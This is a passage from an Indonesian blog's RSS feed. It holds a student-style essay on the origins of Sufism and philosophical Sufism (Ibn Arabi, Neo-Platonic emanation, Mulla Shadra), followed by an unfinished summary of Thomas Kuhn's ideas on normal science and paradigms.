tasawuf itu murni dari Islam meliankan salah satu ajaran yang utama dalam tasawuf yaitu wihdatul wujud. Kemudian kami juga mengutip pendapat salah satu tokoh tasawuf yang terkenal yaitu Abu Qasim Junnaid Al-Baqdady, menurutnya “yang mungki menjadi ahli tasawuf ialah orang yang mengetahui seluruh kandungan al-qur’an dan sunnah”. Jadi menurut ahli sufi, setiap gerak-gerik tasawuf baik ‘ilmy dan ‘amaly haruslah bersumber dari al-qur’an dan sunnah. Maka jelas bahwa tasawuf adalah murni dari Islam yang tidak di syari’atkan oleh nabi akan tetapi beliau juga mempraktikkannya. Buktinya sejak zaman beliau (nabi Muhammada-red) juga ada kelompok yang mengasingkan diri dari dunia, sehingga untuk menjaga kekhusuan mereka beliau memberi mereka tempat kepada mereka di belakang muruh nabi. Meskipun istilah tasawuf itu belum ada tapi dapat di sinyalir bahwa munculnya ajaran-ajaran seperti itu (zuhud/ warok, mendekatkan diri pada Allah-red) sudah ada sejak zaman Islam mulai ada, dan nabi sendiri sejatinya adalah seorang sufi yang sejati.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Kemudian pendapat kedua yang mengatakan bahwa tasawuf adala kombinasi dari ajaran Islam dengan yang lainnya (non-Islam). Mereka memberi contoh beberapa ajaran yang ada di tasawuf sama dengan aliran (ajaran) lain, misal;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;sumber dari Nasrani:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;1.Konsep Tawakal&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;2.Peranan Syekh&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;3.Adanya ajaran tentang menehan diri tidak menikah.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;sumber Hindu:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;1. Al-fanah = Nirwana&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;2. Zuhud = menjahui dunia&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;sumber Yunani (fil. Barat):&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;1. Filsafat Ilmu jiwa&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;2. Filsafat Phytagoras&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;3. Filsafat Plotinus&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;4. Termasuk juga gnotisisme.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;       Dari sinilah nampak ada kemiripan dalam ajaran setiapa masing yang diakibatkan dari akulturasi sehingga terjadi penjumboan (bersatu) antara ajaran Islam dalam tasawuf dengan yang lain.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Pendapat yang ketiga ini yang mengatakan tasawuf itu bukan dari mana-mana yaitu independen, dengan berdasarkan dengan kisah bahwa pada waktu itu ada seorang raja yang hidup bergelimpangan dengan harta namun dia masih mengalami ketegangan dalam hidupdalam artian jiwanya belum tenang, akhirnya atas nasihat dari seseorang yang dia temui di hutan saat berburu mencoba mengasingkan diri ke bhutan dan meninggalkan semua hartanya. sehingga dari sini dapat di tarik bahwa tasawuf muncul untuk mengatasi kebosan seseorang dari kehidupan dunia tanpa adanya spiritualitas dalam jiwa sehingga mengalami kekeringan jiwa, yang kemudian diisi kembali dengan nilai spiritualitas dengan menjahui kehidupan dunia dan mendekatkan diri kepada Tuhan.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Dari pemaparan di atas dapat kita tarik kesimpulan bahwa tasawuf itu benar-benar asali (murni) dari ajaran Islam yang tidak di syari’atkan atau di sunnahkan oleh nabi meskipun beliau juga melakukanya. Kemudian pendapat yang mengatakan bahwa tasawuf itu berasal dari akulturasi ajaran lain termasuk gnotis itu juga tidak bisa disalahkan, sebab adanya pengklasifikasian tasawuf sehingga muncul beberapa tasawuf, seperti tasawuf sunni, salafi dan tasawuf falsafi membuat determinasi diantaranya. maka jikalau dikatakan tasawuf adalah akulturasi antara Islam dengan yang lain itu termasuk tasawuf falsafi yang mana telah mengedepankan asas rasio sehingga berbaur dengan fisafat-filsafat yang ada di ajaran lain, dimana dalam menganalisis tasawuf dengan paham emanasi Neo-platonisme dalam semua fariasi baik dari Ibn Sina samapai Mulla Shadra.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;B. Latar belakang berkembangnya Tasawuf Falsafi&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Perenungan ketuhanan kelompok sufi dapat dikatakan sebagai reaksi terhadap corak pemikiran teologis pada masa itu. Di pihak lain, para filosof dengan tujuan menjembatani antara agama dengan filsafat, terpaksa mempreteli sebagaian dari sifat-sifat Tuhan sehingga Tuhan tidak mempunyai kreativitas lagi. dengan perkembangan tasawuf yang mempunyai tipologi, secara global dapat diformasikan adanya tiga konsep tentang Tuhan yaitu; konsepti etikal, konsepi estetikal dan konsepsi union mistikal.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Konsepsi etikal berkembang pada zuhada, munurut mereka Dat Tuhan adalah sumber kekuatan, daya iradat yang mutlak. Tuhan adalah pencipta tertinggi, oleh kaena itu perasaan takut kepada Tuhan lebih mempengaruhi mereka ketimbang rasa pengharapan. timbulnya konsep ini bersumber dari keyakinan bahwa Tuhan adalah asal segala yang ada, sehingga antara manusia dengang Tuhan ada jalur komunikasi timbal balik. Doktrin ini belanjut kepada keyakinan, bahwa penciptaan alam semesta adalah pernyataan cinta kasih Tuhan yang direfleksikan dalam bentuk empirik atau sebagai mazhohir dari asma Tuhan. &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Berkembangnya tasaawuf sebagai jalan dan latihan untuk merealisir kesucia batin dalam perjalanan menuju kedekatan dengan Allah, juga menarik perhatian para pemikir muslim yang berlatar belakang teologi dan filsafat. Dari kelompok inilah tampl sejumlah kelompok sufi yang filosofis atau filosofis yang sufi. Konsep-konsep mereka yang disebut dengan tasawuf falsafi yakni tasawuf yang kaya dengan pemikiran-pemikiran filsafat. ajran filsafat yang paling banyak dipergunakan dalam analisis tasawuf adalah paham emanasi Neo-Plotinus.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Andaya pemaduan antara filsafat dengan tasawuf pertama kali di motori oleh para fisful muslim yang pada saat itu mengalami helenisme pengetahuan. Misalanya filsuf muslim yang terkenal yang membahas tentang Tuhan dengan mengunakan konsep-konsep neo-plotinus ialah Al-Kindi. Dalam filsafat emanasi Plotinus roh memancar dari diri Tuhan dan akan kembali ke Tuhan. Tapi, sama dengan Pythagoras, dia berpendapat bahwa roh masuk ke dalam tubuh manusia juga kotor, dan tak dapat lagi kembali ke Tuhan. Selama masih kotor, ia akan tetap tinggal di bumi berusaha. dari sini di tarik ke dalam ranah konsep tasawuf yang berkeyakinan bahwa penciptaan alam semesta adalah pernyataan cinta kasih Tuhan yang direfleksikan dalam bentuk empirik atau sebagai mazhohir dari asma Tuhan. &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Namun istilah tasawuf fal &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;safi&lt;/st1:place&gt;&lt;/st1:city&gt; bulum terkenal pada waktu itu, setelah itu baru tokoh-tokoh teosofi yang populer. Abu Yazid al-Bustami, Ibn Masarrah (w.381 H) dari &lt;st1:place st=&quot;on&quot;&gt;Andalusia&lt;/st1:place&gt; dan sekaligus sebagai perintisnya. orang kedu yang mengombinasikan antara teori filsafat dan tasawuf ialah Suhrawardi al-Maqtul yang berkembang di &lt;st1:country-region st=&quot;on&quot;&gt;Persia&lt;/st1:country-region&gt; atau &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Iran&lt;/st1:place&gt;&lt;/st1:country-region&gt;. Masih banyak tokoh tasawuf falsafi yang berkembang di &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Persia&lt;/st1:place&gt;&lt;/st1:country-region&gt; ini sepeti al-Haljj dengan konsep al-Hulul yakni perpaduan antara isan dengan Tuhan.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Perkembangan puncak dari tasawuf falsafi, sebenarnya telah dicapai dalam konsepsi al-wahdatul wujud sebagai karya pikir mistik Ibn Arabi. sebelum Ibn arabi muncul teorinya seorang sufi penyair dari Mesir Ibn al-Faridh mengembangkan teori yang sama yaitu al-wahdat asa-syuhud.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Pada umumnya konsep ini diterima dan berkembang dari kaum syi’ah dan bermazhabkan Mu’tazilah. Makanya nama lain dari tasawuf falsafi juga di sebut dengan tasawuf Syi’i. diterimanya konsep-konsep atau pola pikir tasawuf falsafi di kawasan &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Persia&lt;/st1:place&gt;&lt;/st1:country-region&gt;, karena dimungkinkann disana dulu adalah kawasan sebelum Islam sudah mengenal filsafat. &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Semenjak masa Abu Yazid al-Busthami, pendapat sufi condong pada konsep kesatuan wujud. Inti dari jaran ini adalah bahwa dunia fenomena ini hanyalah bayangan dari realitas yang sesungguhnya, yaitu Tuhan. Satu-satunya wujud yang hakiki adalah wujud Tuhan yang merupakan dasar dan sumber kejadian dari segala sesuatu. Dunia ini hanyalah bayangan yang keberadaannya tergantung dengan wujud Tuhan, sehingga realitas hidup ini hakikatnya tunggal.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Atas dasar seperti itu tentang Tuhan yang seperti itu, mereka berpendapat bahwa alam dan segala yang ada termasuk manusia merupakan radiasi dari hakikat Ilahi. Dalam diri manusia terdapat unsur-unsur ke –Tuhanan, karena merupakan pancaran dari Tuhan. &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Dari konsep seperti ini lah para sufi dari tasawuf falsafi ini mempunyai karakteristik sendiri sehingga dapat di pukul rata bahwa semua konsep yang ditawarkan oleh para sufi falsafi ini adalah konsep wihdatul wujud, meskipun dalam penjabarannya mengalami perbedaan dan perkembangan yang berbeda antara sufi yang satu dengan sufi yang lain.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;Seperti hanya dalam konsep emanasi, Ibn Arabi menggunakan bentuk pola akal yang bertingkat-tingkat, seperti; akal pertama, kedua, ketiga dan sampai akal kesepuluh. Dimana ia mencoba mengambarkan bahwa proses terjadinya sesuatu ini berasal dari yang satu, kalau meminjam bahasanya Plotinus ialah The One.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Kemudian konsep itu terus disempurnakan bahwakan mengalami kritikana dari sufi-sufi yang lain. Misalnya sufi yang memperbarui konsep ajaran Ibn Arabi ini ialah Mulla Shadra yang lebih mencoba menggunkan konsep yang rasional dengan istilah Nur yang mana ia mencoba merujuk dari al-qur’an sendiri bahwa Tuhan adalah cahaya dari segala cahaya..&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Akan tetapi Mulla Shadra membedakan cahaya kedalam dua kategori yaitu cahaya yang tidak mempunyai sifat dan cahaya yang menunjukkan sebuah sifat dari barang itu. Misal cahaya yang menunjukkan sifatdari benda itu ialah cahaya lampu, matahari, cahaya lampu lalulintas dan lain-lain. Sedangkan cahaya yang tak menggandung dari sifat benda ialah cahaya Tuhan itu sendiri. Bahkan dalam bukunya Syekh Adurun Nafis menggabarkan bahwa Nur Tuhan bukan cahaya, jadi nur adalah nur bukan cahaya. &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Bisa kita tarik kesimpulan bahwa tasawuf falsafi muncul dari ketakajuban para filsuf Islam yang mencoba mengombinasikan konsep ajaran dengan tasawuf. Atau bisa dikatakan konsep tasawuf dikemas dan dipandang dari segi kacamata filosofis, sehingga memunculkan ajaran-ajaran yang sifatnya lebih ke teoritis dan tak lepas dari pengaruh dari konsep emanasinya Plotinus.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/02/tasawuf-falsafi.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-5Zz8EijWGnL1csO_1J_phHpNI9nQX65-OZlP4a9aMm3p8tJ360N2vLOP5zxhehBP15lws5Gg9cHlupZwJwVmapySMg-mqFP7vjN2fyV7FwMI2_JQ5WU2iJHvy4D5pwtHhOhSOOgjiko/s72-c/kekuatan.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-1471023162523966323</guid><pubDate>Mon, 18 Feb 2008 16:08:00 +0000</pubDate><atom:updated>2008-02-18T08:09:30.839-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat</category><title>Revolusi Ilmu Thomas Khun</title><description>&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;A. Proses dan Sains yang normal&lt;br /&gt;Sains yang normal adalah riset yang tegas berdasar atas satu atau lebih pencapaian ilmiah yang lalu, yang oleh masyarakat ilmiah pada suatu saat dinyatakan sebagai rujukan pada praktek selanjutnya.Atau menjelaaskan secara detail teori yang diterima, menerangkan banyak atau seluruh penerapannya yang berhasil dan membandingkan dengan eksprimen dan observasi langsung.Seperti, sebelum buku-buku menjadi populer pada abad ke19, banyak dari buku-buku klasik yang termasyhur tentang sains yang memenuhi fungsi yang serupa. Pencapaian yang memiliki dua karakteristik disebut paradigma yang erat kaitannya dengan sains yang normal yang bersama-sama mencakup dalil,teori, penerapan , dan istrumentasi yang akan menjadikan model-model, dari it lahirlah tradisi-tradisi tertntu dari riset ilmiah. Paradigma-paradigma yang jauh terspesialisasi sebagai ilustrasi, yang menstimulus untuk dipraktekkan dikemudian hari. Komitmen serta konsensus yang jelas serta yang dihasilkan merupakan prasyarat bagi sains yang norml, yaitu bagi penciptaan tradisi riset.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;Pencapaian ilmiah yang kongkrit sebagai tempat komitmen profesional daripada konsep, dalil teori, dan acuan yang sangat vital. Dalam arti paradigma atau dialektika merupakan kesatuan fundamental dalam perkembangan sains, yang logisnya menjadi komponen-komponen atom yang berfungsi sebagai pengganti . Perolehan paradigma atau tipe riset yang langka sebagai indikator kematangan dalam perkembangan sains. Transformasi paradigma merupakan revulusi sains dan transisi yang berurutan dngan paradigma yang ssatu ke paradigma selanjutnya melalui revolusi suatu perkembangan sains yang telah matang. Definisi apapun dari ilmuwan yang mengecualikan, setidak-tidaknya harus lebih kreatif dan inovativ karena aliran yang lain dn penerusnya dari zaman modern akan mengecualikan juga.&lt;br /&gt;Yang menjadi ciri-ciri pada tahap awal perkembangan sains adalah terciptanya alira-aliran baru. Tidak ada sejarah yang bis di interpretasi tampa adanya kumpulan teoritis dan metodologis yang saling berkolerasi lengkap yang harus adanya pemilihan, penilaian dan kritik. Karena jika kumpulan kepercayaan belum lengkap pengumpulan faktanya, maka harus dipasok dari luar oleh metafisika atau oleh sains yang lain serta oleh kejadian yang personal dan historis. Tidak mengherankan lagi, pada tahap-tahap awal perkembangan sains manapun dalam persepsi berbeda deretan masalah yang sama atau melukiskan dan menafsirkan gejala-gejala itu dengan cara yang berbeda, akan tetapi, perbedaan itu lambat laun akan semakin menghilang. Hilangnya perbedaan itu bisanya diawali dengan kemenangan salah satu aliran pra padigma, karena karesteristik kepercayaan dan persepsinya sendiri masih belum berubah informasi dan dalilnya yang relatif lemah. Agar dapat diterima sebagai paradigma sebuah teori harus lebih baik daripada saingannya, tetapi tidak perlu menerangkan semua fakta pada saingannya.&lt;/span&gt; &lt;/p&gt;  &lt;p style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Agar paradigma itu dapat di terima oleh semua elemen dan melakukan pekerjaan itu lebih efektif harus ada semacam debat (sharing) dan juga memperjelas kepada para ilmuwan yang lain agar bisa yakin mereka berada di jalan yang benar-benar memotivasi para ilmuwan suatu pekerjaan yang lebih tepatdan belum banyak memahami hal tersebut serta lebih menonjol. Sehingga para ilmuwan dapat menyelidiki gejala yang lebih rinci dan menggunakannya lebih tekun, sistematis dan logis daripada yang di lakukan ilmuwan yang lain. Baik menyangkut pengumpulan fakta maupun pengutaraan teori agar lebih terarah (spektakuler-red), seperti yang di utarakan oleh Francis Bacon “kenaran lebih mudah muncul dari kesalahan ketimbang dari kekacauan”. Dan jika dalam perkembangan sains ke-alam-an seseorang atau kelompok mampu mengaplikasikan dari pempraktik generasi selanjutnya, maka secara berangsur-angsur aliran lama akan lenyap dengan sendirinya. Hilangnya alirang-aliran it sebagian di sebabkan pembelotan anggotanya klhghah pada paradigma yang baru. Walaupun pasti ada yang masih menganut pada salah satu pandangan yang lebih senior, hal ini akan dikeluarkan dari profesinya dan terlupakan karya-karya mereka.&lt;br /&gt;Paradigma baru akan menyiratkan hal yang baru pula dan lebih kaku di bidangnya, mereka cenderung tetap, departemen filsafat akan melahirkan sain-sain khusus. Terkadang kesediaan menerima dan mentransformasikan kelompok yang awalnya hanya tertarik kepada studi alam kemudian menjadi profesi atau disiplin. Hal ini, berbeda dengan bidang-bidang yang lain seperti teknologi, hukum atau bidang yang lainnya. Karena yang menjadi prioritas yang utama berskala spesialisasi, pendirian masyarakat spesialis dan menuntut spesialisasi kurikulum seperti misalnya sebuah paradigma oleh kelompok. Ketika ilmuan percaya begitu saja tentang sebuah paradigma, ia tidak perlu lagi membangun kembali di bidangnya itu, hanya tetap dalam prinsip-prinsip pertama dan memperkuat setiap konsepyang diperkenalkan pertama kali. Ilmuan yang kreatif akan memulai risetnya di bagian atau yang ada dalam buku itu sehingga dapat memfokuskan pada aspek alami yang transparan dan isoterik, komunikerisetnya akan mulai berubah dengan cara evolusinya, tetapi prodak akhir modernnya menjadi realitas di masyarakat serta menyesalkan bagi semua orang. Sebaliknya, mereka hanya akan memberikan artikel-artikenya kepada rekan profesionalnya, orang yang mengerti dan paham tentang paradigma dan dapat terbukti dengan mempresentasikan dan mempertanggungjawabkan isi artikel-artikel tersebut. Sebagai wahana komunikasi, risetlah garis-garis profesionalisasi kelonggaran sehingga orang awam dapat mengikuti kemajuan dengan belajar, membaca, memahami dan mengaplikasikannya.&lt;br /&gt;Paradigma adalah model atau pola yang di terima dan aspek namanya it telah memungkinkan pengambilan paradigma itu tidak semua benar dengan pengertian yang biusa digunakan untuk mendevinisikan paradigma. Dalam penerapan yang baku, paradigma berfungsi memperbolehkan replikasi contoh yang masing-masing pada prinsipnya dapat di ganti. Disisi lain, sebuah sains paradigma menjadi objek replikasi. Akan tetapi, keputusan yudikatif yang terima dalam hukum tak tertulis menjadi objek bagi pengutaraan dan rincian lebih lanjut dalam keadaan yang baru atau lebih radikal. Sains yang normal terdiri atas perwujudan janji yang dicapai dengan memperluas pengetahuan dengan fakta-fakta yang oleh paradigma ditalarkan sebagai pembuka pikiran dengan mencocokkan fakta-fakta dengan prakiraan paradigma dengan artikulasi lebih lanjut tentang paradigma itu sendiri.&lt;br /&gt;Ada tiga fokus yang normal bagi penyelidikan faktual, ketiganya itu tidak selamanya jelas.yang pertama adalah kelas fakta-fakta yang telah diperlihatkan oleh paradigma yang akan menyingkap sifat sesuatu, paradigma ini sangat bermanfaat untuk menetapkan kecermatan yang lebih tinggi maupuan dalam situasi yang variatif. Kelas kedua, biasa tetapi lebih kecil dari penetapan-penetapan fakta walaupun cenderung tampak kepentingan yang hakiki namun dapat di bandingkan secara langsung dengan paradigma.&lt;br /&gt;Dan kelas ketiga, adalah menyerap seluruh kegiatan pengumpulan data sains yang normal. Kelas ini meliputi empiris yang dilaksanakan untuk mengartikulasikan teori paradigma untuk memecah- menyelesaikan ambiguitas yang masih belum terselesaikan. Upaya-upaya mengartikulasikan paradigma bagaimanapun tidak dibatasi dengan determinasi konstanta universal. Suatu paradigma merupakan parasyarat bagi bagi penemuan-penemuan hukum.&lt;br /&gt;Adapun ciri-ciri yang paling menonjol dari masalah riset yang normal betapa sedikitnya masalah yang di tujukan untuk menghasilkan penemuan baru yang besar dan konseptual.ekprimen di tujukan untuk mengartikulasikan suatu paradigma dan juga bisa menyerupai ekplorasi terutama sering di gunakan dalam periode-periode dan dalam sains yang lebih cenderung berurusan dengan aspek kualitatif daripada kuantitatif dari regularitas alam. Sering suatu Paradigma yang di kembangkan bagi satu perangkat gejala ambigus dalam penerapannya dengan yang lain yang sangat erat kaitannya. Kemudian eksprimen-eksprimen itu perlu memilih diantara cara-cara alternatif menerapkan Paradigma pada bidang perhatian yang lainnya. Tujuan prakiraan itu ialah untuk memperhatikan penerapan baru dari Paradigma atau untuk meningkatkan ketepatan suatu penerapan yang di buat.&lt;br /&gt;Target sains yang normal hanya hal-hal yang baru yang besar dan nyata – jika kegagalan mendekati hasil yang di antisipasi itu merupakan kegagalan sebagai ilmuwan. Semestinya para ilmuwan, hasil-hasil yan di peroleh dalam riset yang normal itu signifikan karena merupakan tambahan bagi ruang lingkup dan presisi yang dapat di terapkan oleh Paradigma. Mengantarkan masalah riset yang normal kepada kesimpulan adalah mencapai apa yang di antisipasi dengan cara baru dan juga memerlukan pemecahan segala jenis tekateki instrumental, konseptual dan matematis. Orang yang berhasil membuktikannya adalah seorang pakar pemecah tekateki dan tantangan itu merupakan bagian yang vital. Tekateki adalah kategori khusus dari masalah-masalah yang digunakan untuk menguji keliahaian atau skill dalam pemecahannya. Karakteristik-karakteristik oleh tekateki dalam masalah sains normal perlu adanya klasifikasi dan spesialisasi dengan yang lain, yang di dapatkan oleh masyarakat ilmiah. Paradigma ialah kreteria untuk memilih masalah-masalah yang di anggap sudah wajar dan memiliki alternatif. Masalah yang lain masih banyak yang sebelumnya menjadi standart di tolak, karena di anggap masuk dalam metafisika, masuk kepada disiplin yang lain atau terkadang terlalu rumit sehingga hasilnya tidak memadai pada alokasi waktu yang di gunakan. Masalah dalam suatu Paradigma bahkan dapat menyekat masyarakat tersebut dari yang esensial, aspek sosial yang tidak di bentuk tekateki karena tidak dapat di gunakan sebagai alat konseptual dan instrumental yang di sediakan oleh Paradigma tersebut. Salah satu alasan sains yang normal tampak maju begitu pesat seperti para pempraktik memfokuskan perhatian mereka kepada masalah yang tidak dapat di pecahkan karena minimnya pengetahuan dan kecerdasan.&lt;br /&gt;Masalah-masalah sains yang normal merupakan tekateki dalam pengertian.seseorang dapat tertarik pada sains karena hasrat untuk berguna untuk mengeksplorasi wilayah baru, harapan untuk menemukan tatanan dan dorongan untuk menguji pengetahuan yang mapan, motif-motif ini disertai juga untuk membantu mengatasi masalah-masalah tertentu yang artinya akan menyibukkan aktifitas mereka. Individu yang terlibat dalam riset yang normal tidak pernah menggerjakan yang manapun dari hal diatas. Yang kemudian menentang keyakinan bahwa ia pun cukup terampil dalam memecahkan tekateki yang belum di pecahkan oleh siapa pun. Diantara para tokoh yang besar banyak yang telah mencurahkan seluruh perhatian profesionalnya pada tekateki yang menentangnya. Setiap bidang spesialisasi tidak menyajikan yang lain untuk dikerjakan, suatu kenyataan yang membuatnya optimis dari pada jenis kecanduan yang pantas. Kesejajaran antara tekataki dan masalah sains yang normal akan di klasifikasikan sebagai pemecahkannya.juga kaidah-kaidah yang membatasi sifat pemecahan yang dapat diterima maupun langkah-langkah untuk memperolehnya.&lt;br /&gt;B. Keunggulan Paradigma&lt;br /&gt;Untuk menemukan hubungan antara kaidah, Paradigma dan sains yang normal perlu di perhatikan terlebih dahulu bagaimana histori yang mengisolasai tempat-tempat tertentu dari kometmen yang baru di jadikan kaidah-kaidah yang di terima. Penyelidikan histori yang cermat terhadap suatu spesialitaspada masa tertentu menyingkapkan seperangkat keterangan yang berulang-ulang yang di kuasai standart tentang berbagai teori dalam penerapan konseptual, observasional dan instrumental. Tentu saja selain itu, sejarawan akan menemukan daerah penumbrah yang ditempati pencapaian-pencapaian yang statusnya masih di ragukan. Meskipun kadang-kadang terdapat ambiguitas Paradigma-Paradigma masyarakat sains yang matang dapat di tentukan dengan relatif mudah. Tujuan laporan-laporan riset untuk menemukan unsur-unsur yang dapat di isolasi secara gamblang atau tersirat yang oleh masyarakat kemungkinan di ringkas dari Paradigma yang lebih global dan di gunakan sebagai kaidah-kaidah dalam riset. Mencari kaidah-kaidah lebih sukar ketimbang mencari Paradigma, diantara generalisasi yang di gunakan untuk melukiskan kepercayaan bersama dari masyarakat itu akan menimbulkan masalah. Namun yang lainnya, termasuk yang digunakan sebagai ilustrasi akan tampak begitu kuat. Dan jika perpaduan tradisi riset di pahami sebagai aspek kaidah-kaidah, harus ada rincian-rincian tentang dasar bersama dalam bidan yang sesuai. Akibatna, kumpulan pencarian kaidah yang berwenang membentuk tradisi riset normal tertentu menjadi sumber frustasi yan radik dan berkesinambungan.&lt;br /&gt;Para ilmuwan sepakat bahwa para tokoh-tokoh terdahulu (seperti New Ton-red) telah menghasilkan pemecahan yang tampaknya permanen bagi sekelompok masalah penting. Namun kadang-kadang tanpa menyadarinya karakteristik-karakteristik abstrak tertentu yang menjadikan pemecahan itu permanen. Artinya, mereka sepakat dalam identifikasi mereka tentang paradigma tanpa sepakat dalam bahkan berupaya menghasilkan intepretasi dan rasionalisasi yang bulat tentang Paradigma. Riset yang normal dapat di tentukan sebagian oleh pemeriksaan langsung terhadap suatu Paradigma. Dan suatu proses sering di bantu tetapi tidak bergantung pada perumusan kaidah-kaidah asumsi. Suatu jenis yang sama dapat berlaku dalam berbagai teknik dan masalah riset yang timbul dalam tradisi sains yang normal. Apa yang menjadi kesamaan diantara mereka bukanlah menjadi hal yang dapat memenuhi suatu perankat kaidah dan asumsi yang jelas atau bahkan yang dapat di temukan seluruhnya, yaitu perangkat yang memberi karakter kepada tradisi yang menyebabkan suatu tradisi mempunyai tempat dalam pikiran ilmiah. Akan tetapi mereka bisa mempunyai pertalian karena kesamaan dan menjadi model bagi salahsatu bagian dari sekelompok sains yang oleh masyarakat telah diakui sebagai pencapaian-pencapaiannya yang telah mantap. Paradigma-Paradigma dapat menentukan sains yang normal tanpa adanya campurtangan kaidah-kaidah yang di temukan.&lt;br /&gt;C. Anomasi dan histori Sains&lt;br /&gt;Penemuan-penemuan bukanlah peristiwa asing, melainkan epesode yang di perluas dengan struktur yang 